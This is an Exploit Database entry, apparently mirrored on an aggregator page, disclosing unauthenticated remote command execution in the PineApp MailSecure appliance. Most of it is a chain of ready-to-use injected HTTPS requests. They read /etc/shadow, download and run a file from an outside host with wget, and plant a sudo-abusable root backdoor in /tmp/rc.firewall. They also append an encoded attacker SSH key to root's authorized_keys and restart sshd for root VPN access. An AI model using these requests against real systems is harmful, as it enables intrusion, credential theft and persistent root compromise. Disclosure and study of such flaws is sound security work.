PineApp MailSecure – Remote Command Execution

• Exploit Database
• 122 阅读

• 作者： Ruben Garrote García
  日期： 2013-11-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/29734/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97

  ----------------------------------------------------------------- It is possible execute any command bash as qmailq unprivilege user, sending only the following https request, without authentication. https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;%20cat%20/etc/shadow   To upload any file (script, binary, etc...) it is possible with wget command. https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile   Download and execute it is possible with this request: https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile   Details of bug: Lines 115-120 of /srv/www/htdocs/admin/confnetworking.html ----------------snip----------------- <? $query=explode("\n",shell_exec("/usr/bin/host -t &apos;$nstype&apos; &apos;$hostip&apos; $nsserver")); foreach ($query as $line) if ($line) echo preg_replace("/\t/","&nbsp;&nbsp;&nbsp;",$line)."<br>\n"; ?> ----------------snip-----------------   Also it is possible make privilege escalation to root with a weak sudoers configuration, on /tmp/rc.firewall file. If you overwrite this file with this content: --------- #!/bin/bash $1 --------- you must get a privileged backdoor. It is possible with the following request: https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo&apos;%23!/bin/bash&apos; > /tmp/fileheader https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo&apos;$1&apos; > /tmp/filecode https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;mv/tmp/rc.firewall /tmp/rc.firewall_ https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat/tmp/fileheader /tmp/filecode > /tmp/rc.firewall https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod%2bx /tmp/rc.firewall https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm/tmp/fileheader https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;rm/tmp/filecode   And execute commands as root with: https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;chmod%2bx /tmp/rc.firewall &apos;whoami&apos;   With this, you can sent a private ssh key and get access by ssh service. To perform this you can make the following request: https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;echo&apos;%73%73%68%2d%72%73%61%20%41%41%41%41%42%33%4e%7a%61%43%31%79%63%32%45%41%41%41%41%42%49%77%41%41%41%51%45%41%79%54%6f%4c%32%75%6b%51%36%4c%76%44%6a%78%51%65%4e%55%72%54%59%35%2b%51%66%57%37%47%51%52%4c%51%68%44%4f%69%77%7a%46%48%42%4a%66%33%59%66%49%44%50%6f%74%45%48%41%4d%43%7a%75%45%48%56%72%34%49%2f%41%77%52%73%78%76%4a%44%2b%4e%55%2b%2b%53%65%72%34%76%7a%35%4d%68%53%6c%50%37%64%47%53%78%47%58%39%31%37%7a%4b%53%53%4b%33%79%55%78%33%42%75%46%44%38%49%52%53%46%51%47%35%64%33%75%50%72%46%63%2f%4d%2b%33%61%37%30%4f%7a%45%44%2f%59%71%79%75%53%63%35%64%79%4c%64%67%59%32%61%47%77%6f%48%77%6a%4e%6f%5a%6b%79%65%44%77%72%67%63%2b%50%65%57%66%78%57%37%63%44%39%72%2f%4f%56%6d%38%59%49%61%70%7a%75%34%37%77%65%71%53%70%38%70%37%2b%43%58%4f%45%41%4c%64%2b%50%4e%54%79%4b%30%43%34%7a%51%58%37%72%35%6d%37%79%48%45%34%50%74%31%6f%75%41%43%45%6c%46%56%38%4a%4f%4f%45%38%4c%49%76%38%55%4a%67%57%30%43%64%41%55%4f%48%6a%49%75%2b%5a%6f%6d%35%54%71%50%73%72%6e%70%64%44%4e%59%6e%2b%76%33%6d%33%57%76%4f%50%71%36%66%69%38%61%72%79%53%33%61%4e%6e%7a%53%74%51%4e%5a%61%33%35%50%64%75%42%4a%49%39%33%4e%41%79%4f%48%54%59%54%31%75%56%6a%6c%79%55%51%3d%3d%20%72%75%62%65%6e%40%72%75%62%65%6e%2d%6c%61%70%74%6f%70&apos; > /tmp/key.pub https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall &apos;mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_&apos; https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall &apos;cp /root/.ssh/authorized_keys /tmp&apos; https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;cat/tmp/authorized_keys /tmp/key.pub > /tmp/keys.pub https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall &apos;mv /tmp/keys.pub /root/.ssh/authorized_keys&apos; https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo/tmp/rc.firewall &apos;chown root:root /root/.ssh/authorized_keys&apos; https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall&apos;killall sshd&apos; https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;sudo%20/tmp/rc.firewall&apos;sshd&apos;   This key have password: &apos;1234&apos;   Now you can get access with ssh as root and up tun interface with the appliance with ssh client: ssh root@192.168.24.24 -p 7022 -w0:0 -i /home/ruben/key   With this the attacker have a VPN on the same network segment of MailSecure appliance vulnerable. -----------------------------------------------------------------   This I made a live demo of vulnerability, but don&apos;t revealed the manufacturer, then the bugs was not fixed. http://boken00.blogspot.com.es/2012/11/ii-conferencias-de-seguridad-navaja.html   Video demo will be release soon on my blog.   Version affected: MailSecure <= 5099SK   Credits: ----------- Ruben Garrote García rubengarrote [at] gmail [dot] com http://boken00.blogspot.com   ## Exploit-DB Note: # It seems 3.70 version currently available for download # has been patched against this. Earlier versions are probably vulnerable to this.